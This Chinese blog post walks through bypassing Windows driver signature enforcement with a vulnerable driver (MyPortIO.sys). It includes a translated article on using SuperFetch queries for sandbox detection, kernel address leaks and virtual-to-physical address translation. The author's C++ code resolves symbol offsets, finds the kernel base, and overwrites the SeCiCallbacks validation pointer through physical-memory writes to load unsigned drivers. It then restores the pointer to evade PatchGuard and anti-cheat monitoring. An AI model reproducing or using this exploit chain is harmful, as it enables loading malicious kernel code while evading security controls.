早期许多漏洞驱动未对 MmMapIoSpace 施加严格的用户态访问限制,导致攻击者可借此读写物理内存(如利用 PFN 页表可直接将物理内存转换为虚拟内存)。为此,Windows 后续封堵了这一利用路径,将 PFN 页表设为不可映射,强行访问会直接触发蓝屏(BSOD)。
如何解决
1. 使用 VDM
VDM 介绍: https://back.engineering/blog/01/11/2020/
其本质为利用物理内存读写驱动来找到一个用户态可以调用传给内核态的函数,修改写入一段 shellcode,来实现任意内核代码执行。但是由于其本质还是类似 .data ptr hook(容易被检测,并且效率不高),而且作者最后利用它写的 physmeme 还是一个无模块驱动加载器,我认为其被检测的可能性还是很大的。
2. 直接修改驱动校验函数
即为我想要说的方法,如果我的目的只是加载我自己的驱动,为什么要这么复杂呢?
这里介绍 SystemSuperfetchInformation 原帖:SuperFetch Query 超能力 - vegvisir
SuperFetch 查询超能力 (The SuperFetch Query Superpower)
作者:Viking
在之前的博客文章《修复(Windows内部)Meminfo.exe》中,我们深入探讨了 Windows 内部结构手册中基于“FileInfo请求”的 Meminfo.exe 工具。本文我建议你看看另一种被称为 “SuperFetchQuery” 的请求类型,它在诸如红队行动/提权、渗透测试、漏洞利用开发或恶意软件开发(Maldev)等特定场景中非常有用。让我们一起来看看!
摘要 (TL;DR)
Superfetch 查询 和 fileInfo 请求 是一种可以让你获取许多有趣的 Windows 系统信息的替代方法,以下是一些具体的使用场景:
- 恶意软件开发 (Maldev):虚拟机沙箱检测技巧,获取内存布局和与内存映射页面相关的文件名信息。
- 红队 / 提权 (Red Team / Privesc):将虚拟地址(VA)转换为物理地址(PA),这在 BYOVD(自带漏洞驱动)场景中利用物理内存读/写原语时非常有用。
- 渗透测试 (Pentest):规避某些检测区域,例如在枚举正在运行的进程列表时。
- 漏洞利用开发 (Exploit Dev):在需要绕过 KASLR 的场景中获取内核地址泄露。
(注意:以下内容是在 Microsoft Windows 版本 10.0.19045.4291 上测试的)
Superfetch 查询基础 (101)
我发现研究 Superfetch 查询最好的工具是 Alex Ionescu 和 Pavel Yosifovich 编写的 Windows Internals 项目中的 MemInfo 工具。以下是该工具能实现的功能:
MemInfo v3.10 - Show PFN database information
Copyright (C) 2007-2017 Alex Ionescu and Pavel Yosifovich
http://www.windows-internals.com
usage: meminfo [-a][-u][-c][-r][-s][-w][-f][-o PID][-p PFN][-v VA]
-a Dump full information about each page in the PFN database
-u Show summary page usage information for the system
-c Display detailed information about the prioritized page lists
-r Show valid physical memory ranges detected
-s Display summary information about the pages on the system
-w Show detailed page usage information for private working sets
-f Display file names associated to memory mapped pages
-o Display information about each page in the process' working set
-p Display information on the given page frame index (PFN)
-v Display information on the given virtual address (must use -o)
MemInfo.cpp 主函数概述(仅标注对本文有用的部分):
int main(int argc, const char* argv[]) { // 示例 1 - 查询内存范围
status = PfiQueryMemoryRanges(); // 示例 2 - 初始化数据库
status = PfiInitializePfnDatabase();
// 示例 3 - 查询私有源
status = PfiQueryPrivateSources(); // 示例 4 - 查询文件信息
status = PfiQueryFileInfo();
return 0;
}
为了检索信息,每个“示例”都分为两个步骤:
步骤 1 - 构建查询
PfiBuildSuperfetchInfo 函数使用 4 个参数来构建 superfetch 查询:
SuperfetchInfo:存储你要发送给内核的请求结构。
Buffer:存储从内核接收到的结果。
Length:Buffer 的大小。
InfoClass:你请求的信息类型。
void PfiBuildSuperfetchInfo(
IN PSUPERFETCH_INFORMATION SuperfetchInfo,
IN PVOID Buffer,
IN ULONG Length,
IN SUPERFETCH_INFORMATION_CLASS InfoClass);
步骤 2 - 发送查询
Windows API NtQuerySystemInformation 通过 4 个参数向内核发送 superfetch 查询:
SystemInformationClass:表示要检索的系统信息类型(这里设置为 SystemSuperfetchInformation)。
SystemInformation:指向一个缓冲区,用于接收请求的信息(设置为步骤 1 中准备好的 SuperfetchInfo)。
Length:SystemInformation 的大小。
ResultLength:实际需要的信息大小。
extern "C" NTSTATUS NTAPI NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
(注意:调用 NtQuerySystemInformation 需要中等完整性级别的进程。)
关于 Superfetch 查询的“超能力”
现在你已经熟悉了准备和发送 Superfetch 查询的方法。接下来,我们会回顾一些用于“态势感知”等目的的传统方法,并向你展示基于 Superfetch 查询的替代方案。
超能力 #1:虚拟机沙箱检测 (VM Sandbox Detection)
传统方法
一个有趣的沙箱检测技巧使用了内存范围,具体可参考 Graham Sutherland 的《虚拟机检测技巧》一文。简而言之,该技巧如下:
Superfetch 方法
使用 Superfetch 替代方案不会触及上述注册表键值,因此避开了某些安全软件的检测区域。我们可以使用超级查询来获取 Windows 当前检测到的 有效物理内存范围。
修改 Meminfo 项目中的相关代码:
void PfiDumpPfnRanges(VOID) {// [ 略去部分代码 ]
Node = reinterpret_cast<PPHYSICAL_MEMORY_RUN>(&MemoryRanges->Ranges[i]);#ifdef _WIN64
printf("Physical Memory Range: %p to %p (%lld pages, %lld KB)\n",#else
printf("Physical Memory Range: %p to %p (%d pages, %d KB)\n",#endif
reinterpret_cast<void*>(Node->BasePage << PAGE_SHIFT), reinterpret_cast<void*>((Node->BasePage + Node->PageCount) << PAGE_SHIFT),
Node->PageCount,
(Node->PageCount << PAGE_SHIFT) >> 10);
// 打印检测到的沙箱 - 粗略的检测代码...
if ((reinterpret_cast<void*>(Node->BasePage << PAGE_SHIFT) == (void*)0x1000)
&&(reinterpret_cast<void*>((Node->BasePage + Node->PageCount) << PAGE_SHIFT) == (void*)0x9F000)) { printf("!! SANDBOX DETECTED : VM5 - 4G - Win10 x64 (VirtualBox)\n");
}// [ 略去部分代码 ]}
输出示例:
C:\windows\system32>C:\MemInfo.exe -r
MemInfo v3.10 - Show PFN database information
...
Physical Memory Range: 0000000000001000 to 000000000009F000 (158 pages, 632 KB)
!! SANDBOX DETECTED : VM5 - 4G - Win10 x64 (VirtualBox)
Physical Memory Range: 0000000000100000 to 0000000000102000 (2 pages, 8 KB)
...
如你所见,“物理内存范围”是 00001000 – 0009f000,这通常对应 VirtualBox 上的 Win10 虚拟机。
超能力 #2:虚拟地址到物理地址的转换 (Virtual to Physical Address Translation)
在利用 Windows 内核漏洞时,如果利用原语是物理读写,你需要一种将虚拟地址 (VA) 转换为物理地址 (PA) 的方法。
传统方法
- 最古老的技术是读取内核的页表,但微软从 Windows 10 开始已经修补了这一点。
- 另一种方法是通过读取物理内存 0-0x20000 区域的 DOS“low stub”来找到 CR3 寄存器。但这目前看来有触发各种蓝屏 (BSOD) 的风险(例如
DRIVER_IRQL_NOT_LESS_OR_EQUAL , MEMORY_MANAGEMENT 等)。
- 第三种方法是扫描非分页池中名为
Proc 的池标签(用于存储 EPROCESS)。局限性在于你需要内存泄漏,具备内核任意读能力,且通常需要指针跳跃。
Superfetch 方法
如 Cedric Van Bockhaven 所述,利用 Superfetch API 进行漏洞开发非常稳定且安全。
- 优势:更加稳定(使用官方 Windows API),触发蓝屏死机的风险极低(保持在用户态运行)。
通过调用 SuperfetchPfnQuery,我们可以检索 PF_PFN_PRIO_REQUEST 数据结构,其中包含了页帧号 (PFN) 数据库的副本。
我们可以修改 PfiDumpProcessPfnEntry 函数来进行 VA 到 PA 的转换:
VOID PfiDumpProcessPfnEntry(ULONG i) {// [ 略去部分代码 ]
// 仅打印有关进程的地址转换信息
printf("VirtualAddress %-10s content is stored at physical address 0x%08p\n",
VirtualAddress,
Pfn1->PageFrameIndex << PAGE_SHIFT);// [ 略去部分代码 ]}
输出示例 (转换 notepad.exe 的地址):
C:\>tasklist | findstr notepad.exe
notepad.exe 7900 Console 1 16,296 K
C:\> MemInfo.exe -o 7900
...
VirtualAddress 0x00007FFF72062000 content is stored at physical address 0x0000000149E46000
VirtualAddress 0x0000026762573000 content is stored at physical address 0x00000001A8374000
..
(可选) :您可以使用 WinDbg 通过 !vtop 命令或 !db 命令来验证这个物理地址转换的正确性。
超能力 #3:正在运行的进程枚举 (Running Processes Enumeration)
传统方法
枚举运行中进程或查找特定进程 PID 的方法有很多(例如通过读取 LSASS PID 的标准 API)。
Superfetch 方法
在此示例中,你使用 Superfetch 查询来获取当前 Windows 上正在运行的进程信息。通过查询类型 SuperfetchPrivSourceQuery,你可以提取 PF_PRIVSOURCE_INFO 数据结构。
修改 Meminfo 项目以打印进程名称和 PID:
NTSTATUS PfiQueryPrivateSources() {// [ 略去部分代码 ]
// 设置结构
Process->ProcessKey = reinterpret_cast<ULONGLONG>(MmPrivateSources->InfoArray[i].EProcess);
strncpy_s(Process->ProcessName, MmPrivateSources->InfoArray[i].ImageName, 16);
Process->ProcessId = reinterpret_cast<HANDLE>(static_cast<ULONGLONG>(MmPrivateSources->InfoArray[i].DbInfo.ProcessId));
// 打印关于运行进程的信息
printf("%-14s %-8lu \n",
Process->ProcessName,
Process->ProcessId);// [ 略去部分代码 ]}
输出示例:
c:\> MemInfo.exe -s
...
System 4
Registry 108
smss.exe 380
csrss.exe 484
wininit.exe 560
lsass.exe 708
svchost.exe 836
...
超能力 #4:_EPROCESS 内核地址泄露 (_EPROCESS Kernel Address Leak)
传统方法
编写内核提权漏洞时,首先必须在内核中找到进程的 _EPROCESS 结构位置。常用的方法包括:
PsInitialSystemProcess
PsReferencePrimaryToken
PsLookupProcessByProcessId
- 窃取 Token 的 shellcode
Superfetch 方法
我们可以复用超能力 #3 中的 SuperfetchPrivSourceQuery 查询机制。该结构不仅包含进程名和 PID,还直接包含了 _EPROCESS 结构的内核虚拟地址!
代码修改示例:
NTSTATUSPfiQueryPrivateSources() {// [ 略去部分代码 ]
if (MmPrivateSources->InfoArray[i].DbInfo.Type ==PfsPrivateSourceProcess) { // [ 略去分配过程 ]
// 泄露 System 进程 (PID 4) 的 _EPROCESS 内核地址
if (MmPrivateSources->InfoArray[i].DbInfo.ProcessId== 4) {
PVOID eprocessVA =MmPrivateSources->InfoArray[i].EProcess; printf("
\t[+] Leak PID %-8d _EPROCESS virtual address : \t\t\t%08p\n", 4, eprocessVA);
}// [ 略去部分代码 ]}
输出示例(针对 PID 4 - System 进程):
C:\>z:\MemInfo.exe -p 4
MemInfo v3.10 - Show PFN database information
...
[+] Leak PID 4 _EPROCESS virtual address : FFFFB587C7661040
结语 (End)
这篇博客主要聚焦于 Superfetch 查询,它需要使用 NtQuerySystemInformation API。正如大家所知,这个 API 需要高权限( SE_PROF_SINGLE_PROCESS_PRIVILEGE 和 SE_DEBUG_PRIVILEGE )。正因如此,这种查询机制很可能更算作是一个“功能 (feature)”而不是一个“漏洞 (vulnerability)”——正如微软 MSRC 的安全策略中明确指出的:“从管理员到内核 (Administrator-to-kernel) 不被视为安全边界。”尽管如此,现在你已经了解了使用它的各种潜在机会!
如果我们有一个内核虚拟地址,我们可以利用 SuperFetch 来将其转换为物理地址。
详细原理
这里我以 MyPortIO.sys 为例。该驱动程序使用 MmMapIoSpace 进行物理内存的读写操作,但它每次只能处理一个 DWORD 的数据。
你可以根据自己的需求,轻松将其替换为任何你偏好的漏洞驱动(vulnerable driver)。
工作原理
该方法的核心在于修改 SeCiCallbacks 中的指针。当 Windows 尝试验证驱动程序的证书时,系统会调用此函数。通过将该指针替换为 ZwFlushInstructionCache(一个始终返回 TRUE 的函数),我们就能成功绕过这项安全检查。需要注意的是,这两个函数均驻留于 ntoskrnl.exe 内核程序中。
为什么不直接修改 DSE 的值?
部分预加载的反作弊系统(Anti-cheat systems)会主动监控或追踪 DSE(Driver Signature Enforcement,驱动程序强制签名)的值,这使得直接对该值进行修改变得极不安全并容易被检测。
详细代码
1. 从 Windows 符号服务器下载对应系统版本的 PDB:
uint64_t off_ZwFlushInstructionCache = 0;
uint64_t off_CiValidateImageHeader = 0;
// now get offset from pdb
std::vector<std::wstring> targetBinaries = {
L"C:\\Windows\\System32\\ntoskrnl.exe"
};
std::vector<SymNeeded> symbolsToRetrieve{
{ L"ntoskrnl.exe", L"ZwFlushInstructionCache" },
{ L"ntoskrnl.exe", L"SeCiCallbacks" }
};
SimplestSymbolHandler handler(GetCurrentAppFolder() + L"\\Symbols");
for (const auto& binPath : targetBinaries) {
auto pdbPath = handler.GetPDB(binPath);
if (pdbPath.empty()) {
std::wcout << L"[-] Failed to get symbol for " << binPath << std::endl;
system("pause");
return -1;
}
std::vector<std::wstring> symbolsForThisFile{};
for (const auto& sym : symbolsToRetrieve) {
if (binPath.find(sym.binaryName) == std::wstring::npos) {
continue;
}
symbolsForThisFile.push_back(sym.symbolName);
}
auto offsets = handler.GetOffset(pdbPath, symbolsForThisFile);
if (offsets.size() != symbolsForThisFile.size()) {
std::wcout << L"[-] Failed to get offsets for " << binPath << std::endl;
system("pause");
return -1;
}
auto filename = std::filesystem::path(binPath).filename().wstring();
std::wcout << L"[" << filename << L"]" << std::endl;
for (size_t i = 0; i < symbolsForThisFile.size(); i++) {
std::wcout << symbolsForThisFile[i] << L"=0x" << std::hex << offsets[i] << std::endl;
if (symbolsForThisFile[i] == L"ZwFlushInstructionCache") {
off_ZwFlushInstructionCache = offsets[i];
}
else if (symbolsForThisFile[i] == L"SeCiCallbacks") {
off_CiValidateImageHeader = offsets[i];
}
}
std::wcout << std::endl;
}
2. 获取 Windows 内核基址(备注:调用前请确保自身进程可以申请到 SE_DEBUG_PRIVILEGE):
#ifndef _RTL_PROCESS_MODULE_INFORMATION
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
#endif
static constexpr SYSTEM_INFORMATION_CLASS kSystemModuleInformation = static_cast<SYSTEM_INFORMATION_CLASS>(0x0B);
using NtQuerySystemInformationProc = NTSTATUS(WINAPI*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
bool GetKernelModuleAddress(const char* moduleName, std::uint64_t& moduleBase, ULONG& moduleSize)
{
moduleBase = 0;
moduleSize = 0;
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll)
{
ntdll = LoadLibraryW(L"ntdll.dll");
if (!ntdll)
return false;
}
const auto querySystemInformation = reinterpret_cast<NtQuerySystemInformationProc>(
GetProcAddress(ntdll, "NtQuerySystemInformation"));
if (!querySystemInformation)
return false;
ULONG bufferSize = 0;
querySystemInformation(kSystemModuleInformation, nullptr, 0, &bufferSize);
if (bufferSize == 0)
return false;
std::vector<std::uint8_t> buffer(bufferSize);
if (querySystemInformation(kSystemModuleInformation, buffer.data(), bufferSize, &bufferSize) != 0)
return false;
const auto modules = reinterpret_cast<PRTL_PROCESS_MODULES>(buffer.data());
for (ULONG i = 0; i < modules->NumberOfModules; ++i)
{
const auto& module = modules->Modules[i];
const char* name = reinterpret_cast<const char*>(&module.FullPathName[module.OffsetToFileName]);
if (_stricmp(name, moduleName) == 0)
{
moduleBase = reinterpret_cast<std::uint64_t>(module.ImageBase);
moduleSize = module.ImageSize;
return true;
}
}
return false;
}
3. 将偏移与基址相加,得到两个函数的虚拟地址。我们需要替换的是 SeCiCallbacks 结构中对证书验证的回调函数,具体的逆向过程与函数介绍在此不做过多展开,详细分析可以查看其它大佬的帖子。我们将 SeCiCallbacks 的偏移加上 0x20 即为验证函数的指针地址,之后再将其转换为物理地址,即可进行下一步操作。
auto const mm = spf::memory_map::current(); //import superfetch
if (!mm) {
printf("[-] Failed to create memory map: %d\n", static_cast<int>(mm.error()));
system("pause");
return -1;
}
//ciValidateImageHeaderEntry = CiValidateImageHeader + 0x20
void const* const civirt = (const void*)(ntoskrnl_base + off_CiValidateImageHeader + 0x20);
std::uint64_t const ciphys = mm->translate(civirt);
if (!ciphys) {
printf("[-] Failed to translate virtual address: %p\n", civirt);
system("pause");
return -1;
}
else {
std::printf("[+] %p -> %zX\n", civirt, ciphys);
}
uint64_t cidata = 0;
if (!ReadPhysMemory(g_hDevice, ciphys, &cidata, sizeof(cidata))) {
printf("[-] Failed to read CiValidateImageHeader pointer from phys=0x%016llX\n",
static_cast<unsigned long long>(ciphys));
system("pause");
return -1;
}
4. 对此地址写入 ZwFlushInstructionCache 的函数地址即可:
void const* const zwvirt = (const void*)(ntoskrnl_base + off_ZwFlushInstructionCache);
WritePhysMemory(g_hDevice, ciphys, &zwvirt, sizeof(zwvirt));
5. 加载自己的驱动
6. 恢复原本值以防止被 PG 检测
WritePhysMemory(g_hDevice, ciphys, &cidata, sizeof(cidata));
缺点:
- 需要在线下载 PDB,对国内用户不友好。
- Windows 在 26H2 也强制要求了驱动需要通过 WHQL 签名,以前很多老的漏洞驱动无法再使用,而新的漏洞驱动也会被人发现而上报 CVE,被收录进反作弊黑名单以及 Windows 易受攻击的驱动列表中。
- 加载的驱动仍然会被检测出没有签名,进而被特征。
鸣谢
特别感谢以下开发者与项目:
详细源码已经开源在 ShirokoLEET/PhysDrvLoader
本文技术内容首发于 云栈社区,欢迎开发者交流。